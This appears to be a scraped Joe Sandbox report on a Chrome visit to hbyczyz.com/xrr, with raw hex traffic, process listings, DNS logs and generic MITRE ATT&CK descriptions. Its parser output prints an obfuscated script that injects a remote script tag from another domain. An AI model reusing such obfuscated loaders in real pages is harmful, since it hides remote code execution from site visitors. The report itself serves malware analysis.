2024-09-27 03:51:04 UTC	16384	IN	Data Raw: 04 cf 14 9d cd 12 3a c3 79 3e c0 f0 44 4a 87 6e 4c 19 ef f4 ba c2 36 3d a6 8c bc 56 18 eb 2e 87 3e 5f e7 68 31 c3 ab 19 f6 16 3a bc 1b 13 b2 fa 13 5d 0a 98 1d 9c a5 8e bb 57 af fb 89 22 eb 60 47 d0 b4 30 f2 fb 18 ba 92 9d b8 7a 28 96 ae 7d a9 54 74 70 ee 2f 13 9e 31 b4 5a 2d ac 58 b1 02 bf f1 ab bf 86 81 6a 15 8f 3c f6 18 5e 7d ed 35 54 ca 95 8e 3c 7b 22 50 64 e4 ab 67 9f 8f e1 9c dc 54 8f 8a 5c a4 70 1c 58 1d ce 20 cf 38 a2 38 c6 d6 ad 9b 51 2c 95 70 7c 6c 0c 95 6a 05 97 5e 7c 09 0a c5 22 82 20 c0 e4 e4 14 de 39 70 00 ab 56 ae 44 9c 24 98 9e 99 c5 9a 35 ab 21 00 b5 9d 7d 05 87 8e 1c c5 b9 3b 77 60 6a 7a 1a 17 5f 78 01 ce 4c 9e f1 3a 16 ee 7e 00 36 2b ce 5d a6 ea 60 dd da b5 00 80 c9 c9 33 de 08 92 af 01 dd 6b da 87 00 ef 12 ca db 3d b3 e3 47 f8 d7 37 dd Data Ascii: :y>DJnL6=V.>_h1:]W"`G0z(}Ttp/1Z-Xj<^}5T<{"PdgT\pX 88Q,p\|lj^\|" 9pVD$5!};w`jz_xL:~6+]`3k=G7
2024-09-27 03:51:05 UTC	16384	IN	Data Raw: 98 d2 31 70 0e c6 13 24 09 47 94 44 00 e9 82 12 4f 9e 7f f1 c4 ae a2 76 6f 6a c6 a3 fe b4 78 20 b9 0f dc 9f 72 de a5 3f 69 26 2b ed 4e 1b b7 dd 72 b3 30 7b 5a 86 c8 4f a2 8a 7f 48 43 1a d2 90 06 a5 6e cb 31 59 21 84 10 c2 39 cf 35 1a af 54 7d cc cd 2e e1 9b df fc 3a 0e 1c 3c 80 a9 e9 69 dc 71 fb bb c1 18 c3 f4 f4 04 00 a0 d7 63 5a a3 5d ad 7a 68 35 db 78 ee b9 17 f0 d7 5f fb 2a 36 6c d8 08 4a 29 ba dd 1e 66 8f 1d 13 b7 6b 32 8e 91 d1 11 6f a4 3e 72 da be fd fb 6e df 3f 73 e0 83 cd 66 73 57 ab dd 1a e1 4c 5c bc 43 89 d0 32 47 51 84 b3 ce 3c 13 49 92 60 a1 bd 84 6a b5 9a 01 e4 59 80 2e fe a8 85 5e 28 d2 c5 8d 99 c2 45 a2 78 ce 58 a2 0f 61 b1 44 d8 7c 46 51 88 76 ab 8d b9 f9 39 5c 70 fe 05 b8 f2 8a ab c0 e2 04 f3 0b 0b 60 9c a1 d1 18 41 14 87 38 72 f8 30 0e Data Ascii: 1p$GDOvojx r?i&+Nr0{ZOHCn1Y!95T}.:<iqcZ]zh5x_*6lJ)fk2o>rn?sfsWL\C2GQ<I`jY.^(ExXaD\|FQv9\p`A8r0
2024-09-27 03:51:05 UTC	16384	IN	Data Raw: 02 5e 87 e5 d7 41 45 47 ce 6f 5e c4 9e 93 80 e7 47 b2 ca eb 57 4d d3 dd 56 5d 32 80 db 02 50 8a 29 82 5c 41 20 0f 5c a6 9f b9 29 ac 32 79 aa 9c 01 a9 68 a4 e6 66 b1 92 1d 03 62 de ee c2 7d 94 41 ec e6 53 20 da 5e 57 0a 45 db 65 b3 cc 01 e3 2c d1 5a 6f c6 8c 86 bc b9 b8 e8 ca 57 00 12 c6 d0 ed 76 31 bf 30 8f 63 c7 8e 21 08 02 78 d4 d3 0a 9b 56 bb 85 76 bb 8d 76 ab 8d 5e af 8b d1 b1 31 8c 8c 8c 60 cd d8 38 16 97 16 d0 6a b5 50 ab d5 b0 b0 b8 88 89 89 49 c4 71 0c 42 80 84 0b f3 d2 6e b7 83 b1 d1 ed a8 55 ab d8 f3 ea ab a8 d6 6a 58 3b 35 ad 85 84 74 bb f4 a9 e9 00 71 86 d4 8f a2 38 46 af db c5 86 0d 1b f0 6f fe e5 6f e1 fc f3 ce 3b d5 2c ad 96 4e d5 60 20 10 76 e9 6c 10 1e 4e ca de 43 92 c8 0b 78 72 40 39 97 40 dc a3 be c3 9f 13 47 3e 37 37 82 59 5a 6d 00 b6 Data Ascii: ^AEGo^GWMV]2P)\A \)2yhfb}AS ^WEe,ZoWv10c!xVvv^1`8jPIqBnUjX;5tq8Foo;,N` vlNCxr@9@G>77YZm
2024-09-27 03:51:05 UTC	16384	IN	Data Raw: ed 42 ab ab d6 02 0a ed da 8f 88 17 5f 80 20 66 ad 11 ca 33 8b 2c 9f 8b c9 30 49 62 6b 52 84 06 fb 54 4f 7e 32 1f c5 2c a0 27 1a ae fd 7e 2b c0 9f c5 14 0e 59 e0 c2 b4 57 41 dc 81 c8 1e 47 ba 21 91 19 3f 04 7a f2 55 6e a9 a2 38 42 14 85 a0 94 ea 1b 4d a3 50 d8 85 f7 42 f1 3f 0c 8d 3f d9 44 4e ca b2 25 a1 3c 83 10 10 7d e0 d3 a9 07 81 f4 f0 e1 63 74 74 0c 7b f7 bd 81 33 4e 3f 13 f7 3e 70 1f 28 21 78 f6 85 e7 f0 c2 4b 2f 80 00 f8 f4 c7 3e 89 6e b7 8b af fc cd 57 f1 ff fa e5 5f c5 d3 cf 3d 87 6e af 8b 1d db 76 20 8a 23 6c dd bc 05 94 88 03 a2 b7 dc 78 0b be f8 95 2f 61 dd f4 34 7e f9 33 bf 80 07 1e 7e 08 df b8 eb 9b 98 9e 9a c6 f5 57 5f 8b 6f de f5 2d dc 7c e3 4d 00 e7 f0 83 00 d5 4a 15 4b cd c5 5c 40 a1 ba 23 8e 62 dc 70 cd 75 28 95 ca 78 ec c9 c7 b0 63 eb Data Ascii: B_ f3,0IbkRTO~2,'~+YWAG!?zUn8BMPB??DN%<}ctt{3N?>p(!xK/>nW_=nv #lx/a4~3~W_o-\|MJK\@#bpu(xc
2024-09-27 03:51:05 UTC	16384	IN	Data Raw: 7e df ae 1b 4f aa ce 44 ea fa 70 be 75 5f 49 8c 74 cd 8d fb 4a e2 31 ba 49 b3 53 c2 c1 13 63 65 27 1a 80 cc d7 92 fc a9 ca 5a d3 58 d5 75 1c ff 19 13 07 07 fd f8 ae bb f0 bf ff f9 9f 31 38 34 94 ee 9b 49 9a a4 e3 a0 89 df d4 09 47 8e 49 1f 63 b5 4f 45 6d 3a 72 e4 a0 78 96 93 e7 c9 32 96 4c 09 05 ec 95 95 2f 49 04 78 37 9b 60 64 1a 9d 9f 04 88 04 74 ea 03 7c 20 a3 8f 58 0a 01 d7 1a 0a ad 83 f2 67 67 80 b5 f9 14 3a 6f 59 16 63 a0 a1 e5 6c e8 de 84 8d fa 84 bf 73 81 a5 2f 35 25 db 22 a9 ea 41 16 6f b9 67 a3 0b e9 16 1d ca 8d 41 ef 05 74 7d 00 2d f0 95 5a 25 f0 4b 9b d4 55 f9 fa 3c bc dd 73 8d 2a 5e e9 d8 db e9 c6 34 01 94 f6 10 4b 95 d1 8c dc fa d1 39 30 0e 63 4e a6 42 96 4a 42 f2 4f cd bb 54 16 9e 5a fa fa c5 f8 1e f9 0b 6c 81 1a 25 55 7a 20 c0 50 a9 54 71 Data Ascii: ~ODpu_ItJ1ISce'ZXu184IGIcOEm:rx2L/Ix7`dt\| Xgg:oYcls/5%"AogAt}-Z%KU<s*^4K90cNBJBOTZl%Uz PTq
2024-09-27 03:51:05 UTC	16384	IN	Data Raw: bd f5 bc 6d fe 98 3d 8e 0b f9 02 b6 6c dd 86 37 df 7a 0b e7 9f 77 1e ce 3b f7 5c 9c bc 72 25 36 6d d9 62 56 53 da 6c 01 27 0a 6e 1a cc b9 c9 9d be a4 46 07 cb 75 85 f2 39 9d b8 71 55 b4 a1 c6 c8 2e 3a 4e dd e8 2c cc 7d c7 3a ad e2 1f 9e d6 38 46 00 f2 90 ce 87 41 5a 7d 99 73 42 a7 64 ce aa 5d 74 56 99 f2 7c dc 45 7d 4f cf 3a a6 6e 35 ea 1a 8f 40 d3 6c 52 f3 26 e6 dc 57 40 9d 13 85 c3 3e 21 9a 31 20 8a dc f0 c7 e9 b2 38 a9 9f 18 ea 66 15 86 53 60 6f bd 03 ad 2a c0 1d 47 71 14 61 e1 c2 45 58 b1 62 15 62 19 90 e1 c3 4b 62 fe 54 2a 15 6c da ba 1d ab cf 5c 8d d9 b3 66 7e d0 95 9a a4 e3 a0 13 10 65 c5 6c 76 d4 7e e3 16 d3 81 06 da d6 6f e2 43 e9 c6 2d 35 13 d2 7e 46 45 42 61 01 4b 95 c3 13 ee ce 45 c2 c8 b8 ae 83 60 ac 89 35 93 45 8c 53 c5 00 05 60 8f 13 61 15 Data Ascii: m=l7zw;\r%6mbVSl'nFu9qU.:N,}:8FAZ}sBd]tV\|E}O:n5@lR&W@>!1 8fS`oGqaEXbbKbTl\f~elv~oC-5~FEBaKE`5ES`a
2024-09-27 03:51:05 UTC	10771	IN	Data Raw: fe 5d 1d b5 ca 1b d8 b9 b1 bd ae d4 05 65 0b 7f af 95 4a f3 2c 57 64 c3 bd 6f b2 4d 4e bc dc cd 50 9e 4e 80 2c 94 43 a8 f8 24 c9 64 a3 13 b7 ad c4 eb b5 6c d0 41 4b cb b7 31 b2 89 16 c4 85 56 0d e3 4b 2d ac 37 91 7f 4b aa 9f b7 51 88 b7 ce ae eb 74 c6 5a cd 5d 73 a5 4e 01 a0 d3 ed e2 e1 53 0f e2 f0 a1 43 75 57 87 36 40 ac 77 c8 c1 2a 9d 15 cb 28 2b eb 18 e1 40 4a 81 95 95 36 84 14 98 9c 9c 40 14 c5 63 9a 57 f5 fb 8a 77 d0 e3 95 83 4c 56 2c 2a 79 dc 91 12 8e 94 e8 f7 7b 70 1c 07 6f be fd 36 de 79 fb 6d 9c 7b ff 1c 96 97 97 b1 77 7a 16 9d de 2a ba dd 2e e6 f6 ce a2 1f 04 68 af ac a0 dd 69 4f 36 1a 8d e7 cf bd ff fe 17 ce 7f 78 e1 c9 ab 57 af ce 87 61 98 b4 46 e7 a1 3b 7d 6b 8f 9d 39 83 57 5e fd 11 9c a6 87 b1 d6 18 d2 ab 70 16 62 41 f2 1a 65 be 38 7d 36 f9 Data Ascii: ]eJ,WdoMNPN,C$dlAK1VK-7KQtZ]sNSCuW6@w(+@J6@cWwLV,y{po6ym{wz*.hiO6xWaF;}k9W^pbAe8}6

Target ID:	0
Start time:	23:50:23
Start date:	26/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	23:50:26
Start date:	26/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2496 --field-trial-handle=2472,i,9550109870902272398,11769029051233192804,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	23:50:29
Start date:	26/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://hbyczyz.com/xrr"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://www.hbyczyz.com/seo.js	HTTP Parser: Found new string: script var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Ox1185a6=["\x3C\x73\x63\x72\x69\x70\x74\x20\x6C\x61\x6E\x67\x75\x61\x67\x65\x20\x3D\x20\x22\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x74\x79\x70\x65\x20\x3D\x20\x22\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x73\x72\x63\x20\x3D\x20\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x75\x61\x70\x70\x33\x36\x30\x2E\x63\x6F\x6D\x2F\x32\x30\x32\x33\x2F\x73\x65\x6F\x2E\x6A\x73\x22\x63\x68\x61\x72\x73\x65\x74\x20\x3D\x20\x22\x75\x74\x66\x2D\x38\x22\x20\x3E\x20\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65\x6C\x6E","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uF...
Source: https://www.zhspay.com/zhuye/jquery.la.min.js	HTTP Parser: Found new string: script document.write("<script>!function(p){\"use strict\";!function(t){var s=window,e=document,i=p,c=\"\".concat(\"https:\"===e.location.protocol?\"https://\":\"http://\",\"sdk.51.la/js-sdk-pro.min.js\"),n=e.createElement(\"script\"),r=e.getElementsByTagName(\"script\")[0];n.type=\"text/javascript\",n.setAttribute(\"charset\",\"UTF-8\"),n.async=!0,n.src=c,n.id=\"LA_COLLECT\",i.d=n;var o=function(){s.LA.ids.push(i)};s.LA?s.LA.ids&&o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:\"JeAfDFy7gXnU2Q0U\",ck:\"JeAfDFy7gXnU2Q0U\"});</script>")....document.write('<div style="display:none"><script src="https://js.users.51.la/20655415.js" language="JavaScript" type="text\/javascript"><\/sc'+'ript></div>');..

Source: http://hbyczyz.com/xrr	HTTP Parser: No favicon
Source: http://hbyczyz.com/xrr	HTTP Parser: No favicon
Source: http://hbyczyz.com/xrr	HTTP Parser: No favicon
Source: https://www.hbyczyz.com/	HTTP Parser: No favicon
Source: https://www.hbyczyz.com/	HTTP Parser: No favicon

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Encoding: gzipContent-Length: 232Content-Type: text/javascriptServer: bfeDate: Fri, 27 Sep 2024 03:50:36 GMTData Raw: 1f 8b 08 00 00 00 00 00 00 ff 64 8f 41 6b bc 30 10 47 bf ca ae 07 49 50 27 ff eb 7f 25 48 e9 69 af 85 5e ba 59 4a 1a 47 0d ac 33 32 c6 0a 6d f7 bb 17 2b 3d f5 32 87 07 f3 1e bf 63 b7 50 48 91 49 e9 cf 77 2f 07 b4 46 5d 86 94 a6 af ed cc d7 93 33 ce 5c 7c f5 f1 50 bd fc ab fe bb 57 07 d7 c2 c1 9b 8f ed e2 20 f0 a8 4d 1f 4b b1 6b a4 96 57 b8 71 f0 9b 0d 06 c1 ae 64 db 72 58 46 a4 04 82 1d 8a a0 d4 b1 53 47 84 84 73 52 a2 f7 26 d9 cc 18 3f 45 98 07 2f b8 bb 37 b5 99 a1 8f 5d 56 73 a3 a8 b0 59 23 36 2b 90 02 b7 f8 fc 74 7e e4 71 62 42 4a ea 4f 43 97 92 e7 3f 2f f9 cd 66 85 68 7d fa 05 cd 0e ea 2d 9b 2c e1 7a 38 8f be c7 3a c1 2c c1 d2 fd ae f6 21 ba fe 0e 00 00 ff ff 97 51 90 77 19 01 00 00 Data Ascii: dAk0GIP'%Hi^YJG32m+=2cPHIw/F]3\\|PW MKkWqdrXFSGsR&?E/7]VsY#6+t~qbBJOC?/fh}-,z8:,!Qw
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Encoding: gzipContent-Length: 232Content-Type: text/javascriptServer: bfeDate: Fri, 27 Sep 2024 03:50:39 GMTData Raw: 1f 8b 08 00 00 00 00 00 00 ff 64 8f 41 6b bc 30 10 47 bf ca ae 07 49 50 27 ff eb 7f 25 48 e9 69 af 85 5e ba 59 4a 1a 47 0d ac 33 32 c6 0a 6d f7 bb 17 2b 3d f5 32 87 07 f3 1e bf 63 b7 50 48 91 49 e9 cf 77 2f 07 b4 46 5d 86 94 a6 af ed cc d7 93 33 ce 5c 7c f5 f1 50 bd fc ab fe bb 57 07 d7 c2 c1 9b 8f ed e2 20 f0 a8 4d 1f 4b b1 6b a4 96 57 b8 71 f0 9b 0d 06 c1 ae 64 db 72 58 46 a4 04 82 1d 8a a0 d4 b1 53 47 84 84 73 52 a2 f7 26 d9 cc 18 3f 45 98 07 2f b8 bb 37 b5 99 a1 8f 5d 56 73 a3 a8 b0 59 23 36 2b 90 02 b7 f8 fc 74 7e e4 71 62 42 4a ea 4f 43 97 92 e7 3f 2f f9 cd 66 85 68 7d fa 05 cd 0e ea 2d 9b 2c e1 7a 38 8f be c7 3a c1 2c c1 d2 fd ae f6 21 ba fe 0e 00 00 ff ff 97 51 90 77 19 01 00 00 Data Ascii: dAk0GIP'%Hi^YJG32m+=2cPHIw/F]3\\|PW MKkWqdrXFSGsR&?E/7]VsY#6+t~qbBJOC?/fh}-,z8:,!Qw

Source: global traffic	DNS traffic detected: DNS query: hbyczyz.com
Source: global traffic	DNS traffic detected: DNS query: www.hbyczyz.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: www.uapp360.com
Source: global traffic	DNS traffic detected: DNS query: js.users.51.la
Source: global traffic	DNS traffic detected: DNS query: hm.baidu.com
Source: global traffic	DNS traffic detected: DNS query: ia.51.la
Source: global traffic	DNS traffic detected: DNS query: sdk.51.la
Source: global traffic	DNS traffic detected: DNS query: push.zhanzhang.baidu.com
Source: global traffic	DNS traffic detected: DNS query: www.zhspay.com
Source: global traffic	DNS traffic detected: DNS query: api.share.baidu.com
Source: global traffic	DNS traffic detected: DNS query: collect-v6.51.la
Source: global traffic	DNS traffic detected: DNS query: www.strlaser.com
Source: global traffic	DNS traffic detected: DNS query: website-ishutime.oss-cn-chengdu.aliyuncs.com
Source: global traffic	DNS traffic detected: DNS query: zz.bdstatic.com
Source: global traffic	DNS traffic detected: DNS query: sp0.baidu.com

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://hbyczyz.com/xrr

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 144

Chrome Cache Entry: 145

Chrome Cache Entry: 146

Chrome Cache Entry: 147

Chrome Cache Entry: 148

Chrome Cache Entry: 149

Chrome Cache Entry: 150

Chrome Cache Entry: 151

Chrome Cache Entry: 152

Chrome Cache Entry: 153

Chrome Cache Entry: 154

Chrome Cache Entry: 155

Chrome Cache Entry: 156

Chrome Cache Entry: 157

Chrome Cache Entry: 158

Chrome Cache Entry: 159

Chrome Cache Entry: 160

Chrome Cache Entry: 161

Chrome Cache Entry: 162

Windows Analysis Report
http://hbyczyz.com/xrr